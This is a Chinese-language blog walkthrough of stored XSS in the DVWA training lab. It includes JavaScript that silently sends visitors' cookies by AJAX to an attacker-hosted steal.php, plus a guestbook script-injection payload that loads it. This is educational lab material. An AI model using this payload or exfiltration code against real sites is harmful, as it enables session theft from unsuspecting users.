DVWA-XSS_Stored

1 概述

存储型xss的不同之处在于,它可以将用户构造的有害输入直接存储起来,不需要攻击者构造链接诱使受害人点击触发,而是目标网站的用户只要访问插入恶意代码的网站就能触发,相比较反射型xss更为隐蔽,危害更大,受害者也会更多。

  • 本文仍将利用存储型XSS来获取cookie。
  • 观察存储型XSS的PHP源代码可知,其各个级别的过滤策略与反射型类似,Payload也类似,这里不再赘述。与前面的反射型XSS有如下两点不同的是:

2 实现机制

攻击者将恶意代码输入留言板提交之后,上传到服务器端存储起来,以后每一个浏览该页面的用户都会受到攻击。以获取cookie为例,每个访问该页面的用户都会将自己的cookie发送到攻击者的数据库。

3 JS脚本

之前的cookie.js的作用是在页面中构造一个隐藏表单和一个隐藏域,内容为当前的cookie,并且以post方式发送到同目录下的steal.php,但是这种方式有个缺点就是将cookie发送到steal.php后他会刷新页面跳转到steal.php,这样的做法难免引起用户的怀疑.

我们需要用一种更为隐蔽的方式,这里我们用ajax技术,一种异步的javascript,在不刷新页面的前提下神不知鬼不觉的将用户的cookie发送到steal.php。我们新建cookie_ajax.js:

var url = "http://192.168.124.2/DVWA_XSS/steal.php";
var postStr = "data="+document.cookie;
var ajax = null;
if (window.XMLHttpRequest) {
ajax = new XMLHttpRequest();
} else if (window.ActiveXObject) {
ajax = new ActiveXObject("Microsoft.XMLHTTP");
} else {
ajax=null;
}
ajax.open("POST", url, true);//true代表异步
ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
ajax.send(postStr);

上面编写的代码创建了一个ajax对象,构造了一个post请求将用户的cookie作为参数发送到了http://192.168.124.2/DVWA_XSS/steal.php,phpsteal.php将我们获取到的cookie存到数据库中。

以Low级别的存储型XSS为例,构造如下Payload:

Name:<script src="http://192.168.124.2/DVWA_XSS/cookie_ajax.js"></script>
Message:send cookie use ajax

Name的输入限制长度为10,用Firebug将最大长度改为600:

输入Payload,,点击Sign Guestbook提交:

这样,恶意代码就被植入到了留言板页面当中,每当有用户访问留言板页面时,cookie_ajax.js都会执行,将用户的cookie通过steal.php存储到攻击者的数据库。重新访问该页面,发现每访问一次,主机A的数据库中就会增加一条cookie。

文章作者: Alston
文章链接: https://lizitong67.github.io/2020/02/21/DVWA-XSS-Stored/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Alston's blog